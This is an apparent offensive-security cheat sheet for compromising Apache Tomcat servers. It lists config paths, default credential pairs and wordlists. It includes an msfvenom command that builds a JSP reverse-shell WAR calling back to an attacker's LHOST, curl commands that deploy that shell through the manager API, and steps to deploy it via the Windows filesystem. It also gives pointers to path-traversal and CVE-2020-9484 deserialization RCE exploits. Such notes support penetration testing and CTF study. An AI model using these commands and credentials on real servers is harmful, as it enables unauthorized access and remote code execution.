# tomcat

## Tomcat Files

```bash
# path
/manager/
/manager/status
/host-manager/

# main config paths
/etc/tomcat{X}
/usr/share/tomcat{X}/etc/
/etc/tomcat{X}/conf/
/etc/tomcat/conf/
C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\
C:\xampp\tomcat\conf\

# files
conf\tomcat-users.xml
```

## Check for default creds using

use nikto to scan for default creds

```bash
tomcat:tomcat
tomcat:s3cret

/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt 
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
```

## Shell

```bash
# via GUI
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
```

### Deploying Using CLI (.war) - using manager

```bash
## no gui, limited perms access
roles="admin-gui,manager-script"
As we don't have `manager-gui` permission, we cant login to manager-gui

https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat#limitations
https://tomcat.apache.org/tomcat-9.0-doc/host-manager-howto.html

# generate .war shell
$ curl -u USER:'PASS' http://IP:PORT/manager/text/list
$ curl -u USER:'PASS' http://IP:PORT/manager/text/deploy?path=/kashz -T shell.war
$ curl -u USER:'PASS' http://IP:PORT/manager/text/undeploy?path=/kashz
```

### Deploying without creds - using filesystem (Windows)

[Reference link](https://stackoverflow.com/questions/5109112/how-to-deploy-a-war-file-in-tomcat-7)

1. generate `shell.war`
2. copy to `%CATALINA_HOME%\webapps\shell.war`
3. run `%CATALINA_HOME%\bin\startup.bat`
4. .war is deployed.
5. invoke using `curl http://IP:PORT/shell/`

## Tomcat/9.0.31

{% embed url="<https://github.com/iamkashz/ctf-scripts/blob/main/HTB/monitors-tomcat-deserialization-rce.sh>" %}

```bash
# Path Traversal via reverse proxy mapping
| Tomcat will threat the sequence /..;/ as /../ and normalize the path while reverse proxies will not normalize this sequence and send it to Apache Tomcat as it is.
https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

# all version prior to April 2020
# CVE-2020-9484 | Deserialization of Untrusted Data RCE
| ROME method to generate .jar
    | ctf-scripts/tomcat-v9.0.31-deserialization-rce.sh (msf ripoff)
    | (msf) exploit/linux/http/apache_ofbiz_deserialiation
| CommonsCollections2 method to generate .jar
    | https://github.com/PenTestical/CVE-2020-9484 - uses 
    | manual: https://romnenko.medium.com/apache-tomcat-deserialization-of-untrusted-data-rce-cve-2020-9484-afc9a12492c4
```

## Tomcat JSP Upload Bypass / RCE

* <https://www.exploit-db.com/exploits/42966>
* <https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/06/12/deconstructing\\_apach-emYD.html>


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